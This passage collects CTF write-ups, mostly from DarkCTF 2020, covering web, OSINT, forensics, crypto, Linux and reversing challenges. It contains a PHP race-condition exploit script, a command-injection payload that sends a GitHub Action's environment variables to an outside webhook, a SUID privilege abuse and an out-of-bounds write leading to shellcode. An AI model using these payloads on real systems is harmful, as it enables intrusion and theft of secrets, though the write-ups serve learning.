# vim: syntax=apache ts=4 sw=4 sts=4 sr noet```
Reading `/etc/apache2/sites-enabled/000-default.conf` gave us the location of the second server:
```text<VirtualHost *:8080>DocumentRoot /var/www/html1</VirtualHost>```
We can get the content of `index.php`, but not from `flag.php`. However, it was a nice try.
Coming back to the source code from `http://localhost:8080`:There are some conditions that we need to pass in order to get the flag. The first one:
```phpif(!(isset($_GET['user']) && isset($_GET['secret']))){ highlight_file("index.php"); die();}
if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") { die("nope");}``` - Both `secret` and `user` must have a value - `secret` must not be equal to `0x1337` (weak comparison) - `user` must not be equal with `admin`
Second condition:```php$login_1 = 0;$login_2 = 0;
$login_1 = strcmp($_GET['user'], "admin") ? 1 : 0;
if (strcasecmp($_GET['secret'], "0x1337") == 0){ $login_2 = 1;}
if ($login_1 && $login_2) { // third condition, will be discussed next}````$login_1 && $login_2` must evaluate to `true` and for that we need: - `user` must start with `admin` - `strcasecmp($_GET['secret'], "0x1337")` must be equal with `0` (weak comparison)
The third condition is not related to `user` and `secret` so let us summarize up until this point what we need.
- `user` must not be equal with `admin` and it must strart with `admin` - Solution: set `user` equal with `admin1` - `secret` must not be equal with `0x1337` (weak comparison), but it must satisfy `strcasecmp($_GET['secret'], "0x1337") == 0` - Any other value that after type juggling is not equal with `0x1337` it is good - We need to bypass `strcasecmp($_GET['secret'], "0x1337") == 0` because, normally, the result would be 0 only if the strings are identical at byte level - Solution: make `secret` an array. This way `strcasecmp` will return `false` that will be equal to `0` due to the weak comparison
Let's check the last condition:
```phpsession_start();
$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));session_destroy();
file_put_contents($temp_name, "your_fake_flag");
if ($login_1 && $login_2) { if(@unlink($temp_name)) { die("Nope"); } echo $flag;}```In order to get the flag `unlink` needs to return `false`. Let's get line by line to fully understand what happens here.
- `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` - This will be the name of the file that will be saved on disk - Is the result of SHA1 hashing the MD5 hash of `date("ms").@$_COOKIE['PHPSESSID']` - `date("ms")` will return the month and the second of the current time (e.g. `0956`, where `09` is the month and `56` the seconds) - `@$_COOKIE['PHPSESSID']` will return the value of the cookie named `PHPSESSID`. The `@` will surpress any error or warning message.- `file_put_contents($temp_name, "your_fake_flag");` - Write `your_fake_flag` into a file that has as name the value from `$temp_name` - If the file doesn't exist it will be created- `if(@unlink($temp_name)) { die("Nope"); }` - `unlink` will attempt to delete the file - If needs to fail in order to retrieve the flag
In order to make `unlink` call fail, we need to open the file for reading right when `unlink` will attempt to delete it. This is called a race condition and we need to exploit it. We can read the file using the form from the first server by providing as input `file:///var/www/html/file-name`, but we have a problem, we need to anticipate the name of the file. Let's look again at the line where the file name is made: `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));`
It is a little trick here. You could not guess the value of the session cookie, but here the cookie is not set inside the `$_COOKIE` object even if it the session was initialied. And since the `@` is used, any error or warning will be surpressed, we do not need to worry about it, it will be an empty string.
So, `sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` is equivalent with `sha1(md5(date("ms")))`. Now, we can work with this.
I used the script below in order to exploit the race condition, tackin into account all the considerations mentioned above:
```php 'http://localhost:8080/?user=admin1&secret[]=1'];
$ch_flag_body = http_build_query($ch_flag_handler);
$flag = '';// looping until we get the flag// a race condition is somewhat not deterministic and requires multiple attemptswhile(strpos($flag, 'dark') === false) { // initialize curl object that will contain the flag $ch_flag = curl_init(); curl_setopt($ch_flag, CURLOPT_URL, $url); curl_setopt($ch_flag, CURLOPT_POST, true); curl_setopt($ch_flag, CURLOPT_POSTFIELDS, $ch_flag_body); curl_setopt($ch_flag, CURLOPT_RETURNTRANSFER, 1);
// initialize curl object for exploiting race condition $tmp_file = sha1(md5(date("ms"))); // generate the same file name $url_tmp_file = "file:///var/www/html/".$tmp_file; $ch_race_handler = [ 'handler' => $url_tmp_file ]; $ch_race_body = http_build_query($ch_race_handler);
$ch_race = curl_init(); curl_setopt($ch_race, CURLOPT_URL, $url); curl_setopt($ch_race, CURLOPT_POST, true); curl_setopt($ch_race, CURLOPT_POSTFIELDS, $ch_race_body); curl_setopt($ch_race, CURLOPT_RETURNTRANSFER, 1);
// multi handler curl object for launching the 2 reqeusts in parallel $mh = curl_multi_init(); curl_multi_add_handle($mh, $ch_flag); curl_multi_add_handle($mh, $ch_race);
// launch requests $active = null; do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM);
while ($active && $mrc == CURLM_OK) { if (curl_multi_select($mh) != -1) { do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); } }
// read response $flag = curl_multi_getcontent($ch_flag); $file_content = curl_multi_getcontent($ch_race); echo("Flag: ".$flag." -> TMP url: ".$url_tmp_file." -> File: ".$file_content."\n"); // for debugging
curl_multi_remove_handle($mh, $ch_flag); curl_multi_remove_handle($mh, $ch_race); curl_multi_close($mh);}?>```After 1 minute we get the flag:
Flag: darkCTF{9h9_15_50_a3fu1}
# OSINT## Dark Social Web#### Description>0xDarkArmy has 1 social account and DarkArmy uses the same name everywhere>>flag format: darkctf{}
### SolutionBy the provided description I decided to start by searching for accounts with the username `0xDarkArmy`. For this I used [sherlock](https://github.com/sherlock-project/sherlock) and I got the next results:
I checked all of them and I found something on the [reddit page](https://www.reddit.com/user/0xDarkArmy/), a post meant for the CTF:
The post contains a QR image.
I used https://qrscanneronline.com/ to decode it and I got the next link: https://qrgo.page.link/zCLGd. Going to this address redirects us to an onion link: http://cwpi3mxjk7toz7i4.onion/
Moving to Tor, we get a site with a static template. Checking the `robots.txt` file give us half of flag:
Now, for the other half I tried the next things with no success:- Checked the source code- Checked the imported scripts and stylesheets- Checked the requests made- Compared the source code of the template from the official page with the source code from this site - source code was identical
I knew that the flag must be somewhere on this site, so I started looking for directory listing, but with the developer tools open (I wanted to see the status codes returned).
First thing I tried looking in the folders with images, then I took folders from the imported stylesheets.
When I made a GET request to http://cwpi3mxjk7toz7i4.onion/slick/ I noticed a custom HTTP Header in the response. That header contains the rest of the flag.
Flag: darkctf{S0c1a1_D04k_w3b_051n7}
# Forensics## AW#### Description>"Hello, hello, Can you hear me, as I scream your Flag! "
### SolutionAttached to this challenge is a `.mp4` file called `Spectre`. There are indiciations that we might get the flag from a spectogram, but for that we must strip the audio from the video file.We can achieve that with `ffmpeg -i Spectre.mp4 audio.mp3`.Next, I used [Sonic Visualizer](#https://www.sonicvisualiser.org/) to analyze the file. I added a spectogram, played a little with the settings to better view the flag and I was able to extract it.
Flag: darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}
# Crypto## haxXor#### Description>you either know it or not take this and get your flag>>5552415c2b3525105a4657071b3e0b5f494b034515### SolutionBy the title and description, we can assume that the given string was XORed and we can see that the string is in HEX.First thing, we'll asume that the flag will have the standard format, so we'll search for a key that will give us `darkCTF{`.I used an adapted version of the script provided in this [write-up](https://medium.com/@apogiatzis/tuctf-2018-xorient-write-up-xor-basics-d0c582a3d522) and got the key.
Key: `1337hack`XORing the string with this key gives us the flag.
Flag: darkCTF{kud0s_h4xx0r}
# Misc## Minetest 1#### Description>Just a sanity check to see whether you installed Minetest successfully and got into the game### SolutionInstalled minetest with `sudo apt-get install minetest`, moved the world with the mods into the `~/.minetest/worlds` and started the world.The world contains a simple logic circuit. If we make the final output positive, we get the flag.
Flag: DarkCTF{y0u_5ucess_fu11y_1ns7alled_m1n37e57}
# Linux## linux starter#### Description>Don't Try to break this jail>>ssh [email protected] -p 8001 password : wolfie### SolutionAfter we connect, we see in the home directory 3 folders. From these, two are interesting because are owned by root.
As you can see, we do not have read and execute permissions on these ones. Doing an `ls -la imp/` shows us that the folder contains the flag and we can get it with `cat imp/flag.txt`.
For this challenge you could also read the .bash_history file and get some hints.
Flag: darkCTF{h0pe_y0u_used_intended_w4y}
## Secret Vault#### Description>There's a vault hidden find it and retrieve the information. Note: Do not use any automated tools.>>ssh [email protected] -p 10000>>Alternate: ssh [email protected] -p 10000 password: wolfie### Solution
We find a hidden directory under `/home` called `.secretdoor/`. Inside we found a binary called `vault` that expects a specific pin in order to "unlock the vault".
I used the next one liner in order to find the right pin:```bashnr=0; while true; do nr=$((nr+1)); if [[ $(./vault $nr) != *"wrong"* ]]; then ./vault $nr; echo $nr; fi; done;```
By Base85 decoding the string we get the flag.
Flag: darkCTF{R0bb3ry_1s_Succ3ssfullll!!}
## Squids#### Description>Squids in the linux pool>>Note: No automation tool required.>>ssh [email protected] -p 10000 password: wolfie### SolutionBased on the title, it might have something to do with suid binaries, so let's do a `sudo -l`. This gives us `Sorry, user wolf may not run sudo on 99480b7da54a.`Let's try to find suid binaries with `find`. Running `find / -type f -perm -u=s 2>/dev/null` shows us the next binaries:
The interesting one is `/opt/src/src/iamroot`. Just running it, with no arguments gives us a segmentation fault error. By forwarding an argument we get the error message `cat: a: No such file or directory`. Seems that we can run `cat` with the owner's privileges and the owner is root. Running `./iamroot /root/flag.txt` gives us the flag.
Flag: darkCTF{y0u_f0und_the_squ1d}
|
Writeup for so_much reverse challenge:
Description:
The description says strcmp and printf okk if strcmp is present it is gonna compare the user input with flag maybe
Let's proceed the 5 go to steps for debugging:-
The steps are present in the c_maths writeup
1.Let's run and see ..Okk it needs some arguements lets give a arguement with the flag format and some strings command to find some juicy information
We found that there are functions that process the strings and checks for the flag because of presence of number of user defined function names
So due to the high number of functions and get flag functions that calls many function let's proceed to gdb straightly and see the arguements for the strcmp functions chances are that maybe the flag.So lets pop our gdb set breakpoint before the strcmp function and analyze the registers.
We can see that values are getting moved to rsi and rdi register before the strcmp function so it is wise to check there
In rdi register our user input is present and in rsi register the other value seems to be strange and it is curly braces tooo and saying {w0w_s0_m4ny_funct10ns}.Let's try this as the input for our next round of execution.
The flag is darkCTF{w0w_s0_m4ny_funct10ns}
|
# AW> Points: 309
## Description> "Hello, hello, Can you hear me, as I scream your Flag! " [File](https://mega.nz/file/O19ilb5L#VfJFpu9XIqGOpouDYC7TQMsGDRpVyc1pXBWGDx4oXPk)
## SolutionYeah! I like this song (^ . ^) and I was enjoying the video but we need the flag (- . -)
* I watched the given video twice and also tried to go through the [original video](https://www.youtube.com/watch?v=wJnBTPUQS5A) on YouTube to check if something is fishy or not but didn't find anything.
* Then I tried to open the file in Audacity and observed the Spectrogram. The flag was there!
## Flag> darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n} |
# TRICKY BIT> Points: 475
## Description> I always hated to be that last one, At least i should be in the second least place.
> [File](TRICKY_BIT.zip)
## SolutionAfter opening the `Encrypt.py` file we can see,
```python__author__ = 'cyb3rz0n3'
HEADER_SIZE = 54 DELIMITER = "$"
ImageFile = "lsb.bmp"StegImageFile = "lsb1.bmp"
class LSBEncrypter(object):
def __init__(self): self.image_byte_counter = 0 self.new_image_data = '' self.original_image = '' self.text_to_hide = ''
def open_image(self): # opens our image file with open(ImageFile, "rb") as f: self.original_image = f.read()
def read_header(self): # stores the first 54 Bytes of image data (Image Header) for x in range(0, HEADER_SIZE): self.new_image_data += self.original_image[x] self.image_byte_counter += 1
def hide_text_size(self): sz = len(self.text_to_hide) s_sz = str(sz) # hidden text size converted to string s_sz += DELIMITER # adds the DELIMITER ( hmm...interesting! ) self.do_steg(s_sz) # does some magic on the text size!
def do_steg(self, steg_text): # where the magic happens xD...
for ch in range(0, len(steg_text)):
current_char = steg_text[ch] # stores the current character of the string to be hidden current_char_binary = '{0:08b}'.format(ord(current_char)) # converts the current character to 8 bit binary string
for bit in range(0, len(current_char_binary)): # traverse the 8 bit binary string new_byte_binary = ''
current_image_binary = '{0:08b}'.format(ord(self.original_image[self.image_byte_counter])) # converts the current image byte to 8 bit binary string
new_byte_binary = current_image_binary[:7] # stores the 1st 7 bits from the 8 bit binary string of the image byte
new_byte_binary += current_char_binary[bit] # add the last bit (LSB) from the current character's 8 bit binary string
new_byte = chr(int(new_byte_binary, 2)) # convert the new 8 bit binary string back to character
self.new_image_data += new_byte # add new byte to image data self.image_byte_counter += 1
def copy_rest(self): self.new_image_data += self.original_image[self.image_byte_counter:]
def close_file(self): with open(StegImageFile, "wb") as out: out.write(self.new_image_data)
def run(self, stega_text): self.text_to_hide = stega_text self.open_image() self.read_header() self.hide_text_size() self.do_steg(self.text_to_hide) self.copy_rest() self.close_file()
def main(): global TextToHide stega_instance = LSBEncrypter() stega_instance.run(TextToHide) print "Successfully finished hiding text"
if __name__ == '__main__': main()```
**Now that we have understood the encryption scheme, all we have to do is**,* Read the bytes from `lsb1.bmp` excluding the Header Bytes* Convert each byte to binary* Extract the LSBs * Convert the LSBs back to `hidded text`
### [Solution Script](decrypt.py)
```pythonwith open("lsb1.bmp", "rb") as f: image = f.read() headless = image[54:] # remove the Header Bytes bin_str = '' for i in headless: current_char_binary = '{0:08b}'.format(i) # convert current image byte to binary bin_str += str(current_char_binary)[-1:] # extract the LSB from the current char binary
hidden_text = '' hidden_text_size = 0 DELIMITER = "$" for i in range(0, len(bin_str), 8): eight_bits = bin_str[i:i+8] # extract 8 bits from our binary string char = chr(int(eight_bits, 2)) # convert the binary back to char if(char == DELIMITER): # DELIMITER helps us to get the length of hidden text hidden_text_size = int(hidden_text) # get the length of the hidden text hidden_text = '' else: hidden_text += char # print(hidden_text) # remove comment and run to see magic...
if(len(hidden_text) == hidden_text_size): print(hidden_text) break```
## Flag> DarkCTF{7H!5_0n3_was_4_l!ttl3_TRICKY} |
# DarkCTF 2020
## rev/jack
> 32 solves / 475 points>> Author: z3phyr>> Just another crackme....>> `Enclose the key with darkCTF{}`> > [jack](jack)
Tags: _rev_ _x86-64_ _angr_
## Summary
Just solve with [angr.io](http://angr.io).
## Analysis
### Decompile with Ghidra
``` sVar2 = strlen(&local_28); if (sVar2 != 0x10) { puts("Try Harder"); }```
Above is the first check, must be 16 (`0x10`) bytes in length.
```void check_flag(uint *param_1){ if ((((*param_1 == 0xcb9f59b7) && (param_1[1] == 0x5b90f617)) && (param_1[2] == 0x20e59633)) && (param_1[3] == 0x102fd1da)) { puts("Good Work!"); return; } puts("Try Harder"); return;}```
We need to tell _angr_ what to look for. Highlight `puts` and get the address:
```00101489 e9 a2 fb JMP puts ff ff```
## Solve
```#!/usr/bin/env python3
import angr, time, claripy
t=time.time()BINARY='./jack'proj = angr.Project(BINARY, auto_load_libs=False)print("Entry: 0x%x" % proj.entry)FIND=0x00401489input_len=16flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(input_len)]flag = claripy.Concat(*flag_chars)
state = proj.factory.entry_state(args=[BINARY], stdin=flag)
for k in flag_chars: state.solver.add(k < 0x7f) state.solver.add(k > 0x20)
simgr = proj.factory.simulation_manager(state)simgr.use_technique(angr.exploration_techniques.DFS())simgr.explore(find=FIND)print(simgr.found[0].posix.dumps(0))print(time.time() - t, "seconds")```
_angr_ will use `0x400000` as a base if binary PIE (and it is), so add `0x400000` to the address we're looking for.
Next, just set `input_len` to `16` and setup constraints for printable ASCII only, and run it:
```bash# ./sol.pyWARNING | 2020-09-28 01:19:42,878 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.Entry: 0x4012d0WARNING | 2020-09-28 01:19:43,913 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.WARNING | 2020-09-28 01:19:43,913 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:WARNING | 2020-09-28 01:19:43,913 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial stateWARNING | 2020-09-28 01:19:43,913 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold nullWARNING | 2020-09-28 01:19:43,913 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.WARNING | 2020-09-28 01:19:43,914 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffefff8 with 72 unconstrained bytes referenced from 0x500018 (strlen+0x0 in extern-address space (0x18))WARNING | 2020-09-28 01:19:43,914 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffeff70 with 8 unconstrained bytes referenced from 0x500018 (strlen+0x0 in extern-address space (0x18))b'n0_5ymb0l1c,3x30'1.8037035465240479 seconds```
Flag: `darkCTF{n0_5ymb0l1c,3x30}` |
# Free Games> Points: 430
## Description>Wolfie getting free games from somewhere. Find the full url to that game.Note: Use the same file provided in Wolfie's Contacts Flag Format: `darkCTF{http://site}`
## SolutionI tried to do this one on my Kali VM but failed :( So I installed Autopsy in my windows hostI found a zip in the `downlaods` folder. In the zone identifier I found the required link.
## Flag> `darkCTF{http://aries.dccircle34.com/realitydownloadgo/c4d37739ca3dc3ed2d4852395d5ed228/784b4647446e334c58556e5473326556422e624f612e51432e4a6472/2019/07/31/PencakSilat2_1.zip}` |
# Env Writeup
EkoParty CTF 2020 Git 3
## Prompt
Not too sure of the original prompt, however I did not need it.
## Solution
After [the second part of the git challenge saga](../docs), we have gotten a new repository with some new github actions. We know, before analyzing these however, that:
- Issues filed to the `ekolabs` repo will be 'moved' to the `ekoparty-internal` repo. - We control content in the submitted issues, and this is copied to the new issues in `ekoparty-internal` repo.
That's good information. Now let's examine the actions for this repo - we are provided an `issue-notify.py` and an `issue-notify.yml`. At first glance at the python script, we see two interesting things:
1. The script checks `if 'very important' in title:` before executing an `os.system()` call2. The script runs our 'user input' (the body of the issue) in the call to `os.system()`.
What can we do with this? If we put "very important" in the title, and we include a specific body, we can execute arbitrary commands using the call to `os.system()`. How so?
```pythonos.system('echo "%s" > /tmp/%s' % (body, notify_id))```
This line is vulnerable, as the `body` of our issue is placed in it's entirety in the place of the first `%s`, so if we were to enter `"`, this would become:
```pythonos.system('echo """ > /tmp/%s' % (body, notify_id))```
Which would echo an empty string to `/tmp/$notify_id`. This will not do, however, so we need something more complicated to do the trick. Maybe something like sending `body` of `"; sleep 10; echo "` will do better, as it will turn into:
```pythonos.system('echo ""; sleep 10; echo "" > /tmp/%s' % (body, notify_id))```> Note: I did not come up with this all in one shot, I had to prototype it. I did this with the [test.py](test.py) script.
This will execute the `sleep 10` just fine. We have code execution now, we just need to find out what to do with it. The challenge name indicates the flag is likely stored in the environment variables so we know where to look, but how to extract this info from the server?
To determine what tools are available for use, I looked to `issue-notify.yml`:
```yml runs-on: ubuntu-latest steps: ...
- name: Set up Python3 if: ${{ success() }} uses: actions/setup-python@v1 with: python-version: "3.7"```
We at least have a default installation of Python 3.7 to work with, that's pretty good. To make use of that, we will need to have somewhere to send it, and that's where a webhook tester, something that captures and displays (in this case) http requests sent to it. For this I used PipeDream. It provides you with a link to send requests to.
From there, it's as easy as getting the environment variables `os.environ`, and sending them home to PipeDream with a little one-line bash / python script of sorts:
```bash" && python3 -c "import requests; message = {'message': str(os.environ)}; r = requests.post('https://e756afb172e9b06dad06e8cfeff52a32.m.pipedream.net',data = message);" && echo "```
That's all there is to it: sending that returns [envs](envs) to PipeDream, and it's right in there.
```EKO{b08bb4814d581e6a91b3501f8c63c7786fe624e1}```
~ Lyell Read |
# PowerShell> Points: 430
## Description>I want to know what is happening in my Windows Powershell.[File](https://mega.nz/file/DmwQASKa#7iYMLa9urXYWdIls49MeMx_Qno8O6RCIBqXVqIqY6cM)
## Solution> We are given a mp3 file. Used `binwalk` to extract embedded files.```bash⚡ root@ignite ~/Documents/darkCTF> binwalk -e file.mp3
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------199140 0x309E4 Zip archive data, at least v2.0 to extract, compressed size: 9881019, uncompressed size: 176524482, name: Suspicious.reg10080203 0x99CFCB Zip archive data, at least v2.0 to extract, compressed size: 1180, uncompressed size: 13863, name: PowerShell.xml10081711 0x99D5AF End of Zip archive, footer length: 22```As the challenege name suggests I opened the `PowerShell.xml` and found this```bash CommandLine=</Data></EventData></Event><Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='PowerShell'/><EventID Qualifiers='0'>600</EventID><Level>4</Level><Task>6</Task><Keywords>0x80000000000000</Keywords><TimeCreated SystemTime='2020-09-20T06:30:07.000000000Z'/><EventRecordID>12</EventRecordID><Channel>Windows PowerShell</Channel><Computer>WIN-6CNOVHMFLR0</Computer><Security/></System><EventData><Data>Environment</Data><Data>Started</Data><Data> ProviderName=Environment NewProviderState=Started
SequenceNumber=3
HostName=ConsoleHost HostVersion=2.0 HostId=a539e857-7bd0-4885-b64c-5fa903ac0f86 EngineVersion= RunspaceId= PipelineId= CommandName=echo "ZGFya0NURntDMG1tNG5kXzBuX3AwdzNyc2gzbGx9" | base64 -d CommandType= ScriptName= CommandPath=```Running the command gives the flag```bash⚡ root@ignite ~/Documents/darkCTF/_file.mp3.extracted> echo "ZGFya0NURntDMG1tNG5kXzBuX3AwdzNyc2gzbGx9" | base64 -ddarkCTF{C0mm4nd_0n_p0w3rsh3ll}```## Flag>darkCTF{C0mm4nd_0n_p0w3rsh3ll} |
Writeup for Free Games Forensics Writeup:
Description of the challenge:
From the description we need to search for a url based on downloads.Autopsy is a very good tool that link web downloads and also has a keyword search for making it ease.
I am gonna use this autopsy tool in windows version.Lets open the tool.
Click on New Case
Give a case name and directory in which the case files are gonna be stored and click Next.
These are optional information which can u skip by not filling any fields and clicking finish.
As we have file that is of EWF file format select disk image or VM file and select Next.
Select the file in the select data source and if you want to ignore the orphan files click the check box below it .
Select the modules you want to add for analying the disk image file .Most of the modules are already selected for user's comfort and click Next.
This image shows that file has been added successfully and also ready for doing forensics
In the left side you can see different options that can used for analyzing this disk image.The Web downloads looks interesting as the description says it as a downloaded file.Let's look out there..
Okk from the downloads among media files there is a zip file called PencakSilat that can be a game let's try a google search on the game.
Google searched confirmed that this name belongs to a game and from the above image we can see full url to the game
Okk let's enclose the url into the darkCTF{} and submit the flag ..
The flag for the challenge is darkCTF{http://aries.dccircle34.com/realitydownloadgo/c4d37739ca3dc3ed2d4852395d5ed228/784b4647446e334c58556e5473326556422e624f612e51432e4a6472/2019/07/31/PencakSilat2_1.zip}
|
# Wargames (Blox 1 & 2)
This was a challenge where you had to reverse and exploit a binary that was running in this cloud reversing tool thing made by RET2 systems. However, I am stupid and I can't live without F5 so I dumped the whole binary with x/20480bx 0x40000 and put it into IDA. Then I setup the segments manually so I can press F5.
I really liked this challenge, it was well-thought out, clever, and also very rewarding at the end. Shame there was some technical difficulties with the online platform at the end, so they were forced to release the binary outright.
## Part 1
There is a tetris game and you need to draw RET2 using the blocks.
```## ########## ## # ### ## # #### ## # # # #### # ###```
I don't really feel like explaining the code but basically I just converted the check function to z3 code (see z3sice.py). Read the code yourself, there's comments
```c__int64 check_cheat_codes(){ unsigned int groupnum; // [rsp+Ch] [rbp-4h]
for ( groupnum = 0; groupnum <= 3; ++groupnum )// FOR_EACH_BLK { if ( !(unsigned int)check_cheatcodes_y(groupnum) || !(unsigned int)check_cheatcodes_x(groupnum) ) return 0LL; } return 1LL;}__int64 __fastcall check_cheatcodes_x(int i){ unsigned int y; // [rsp+8h] [rbp-Ch] char num_minos; // [rsp+Eh] [rbp-6h] char xor_sum; // [rsp+Fh] [rbp-5h] unsigned int x; // [rsp+10h] [rbp-4h]
for ( x = 0; x <= 2; ++x ) // Iterate thru cols in 4 groups of 3 { xor_sum = 0; num_minos = 0; for ( y = 0; y <= 4; ++y ) // Iterate thru 5 rows { if ( board[NCOLS * (unsigned __int64)(y + 15) + 3 * i + x] ) { xor_sum ^= y + 1; ++num_minos; } } if ( xor_sum != cheatcode_xorsum_x[3 * i + x] || num_minos != cheatcode_numminos_x[3 * i + x] ) return 0LL; } return 1LL;}__int64 __fastcall check_cheatcodes_y(int i){ unsigned int x; // [rsp+8h] [rbp-Ch] char num_minos; // [rsp+Eh] [rbp-6h] char xor_sum; // [rsp+Fh] [rbp-5h] unsigned int y; // [rsp+10h] [rbp-4h]
for ( y = 0; y <= 4; ++y ) // Iterate thru 5 rows { xor_sum = 0; num_minos = 0; for ( x = 0; x <= 2; ++x ) // Iterate thru cols in 4 groups of 3 { if ( board[NCOLS * (unsigned __int64)(y + 15) + 3 * i + x] )// horizontal sum of this group of 3 { xor_sum ^= x + 1; ++num_minos; } } if ( xor_sum != cheatcode_xorsum_y[5 * i + y] || num_minos != cheatcode_numminos_y[5 * i + y] )// check col-wise sum for all 5 rows for this group return 0LL; } return 1LL;}```
## Part 2
For part 2 you need to exploit the game to get arbitrary code execution (and syscall 1337 0x41414141)
Enabling cheats in part 1 gives you access to cheat codes that can let you change the tetramino as it's falling to whatever you want. The vulnerability is that using the tetramino-changing cheat can go out of bounds of the game board. If you put an O piece right on the edge of the game board and change it to a long piece (L J or I piece), it will extend outside of the game board and can overflow the game board buffer.
It just so happens that in the .bss, `heap_top` (their malloc is a simple bump allocator) is placed right after `board`. So we can basically do partial overwrites of the `heap_top` with values corresponding to tetramino L,J,I (1,2,3). We chose to do it with an I piece. This would place `heap_top` at 0x40012c in malloc. Each time we get a high score, `malloc(4)` is called allowing us to write a high score name into the buffer, consisting of up to 3 uppercase characters.
For x64 shellcode, only uppercase is insufficient to be useful for anything really. So we need to upgrade this primitive. We do so by getting high scores over and over, pushing `heap_top` through the .text section. Note the .text section is actually RWX so we can overwrite code as we please. We push it all thew ay into `check_high_score` and corrupt the input checks, allowing us to enter (nearly) arbitrary characters.
Then, we write in a shellcode for the syscall and that's it.
See lmao.py for exploit
flag{s0m3t1mes_y0u_n33d_t0_wr1t3_y0ur_0wn_kill_scr33n} |
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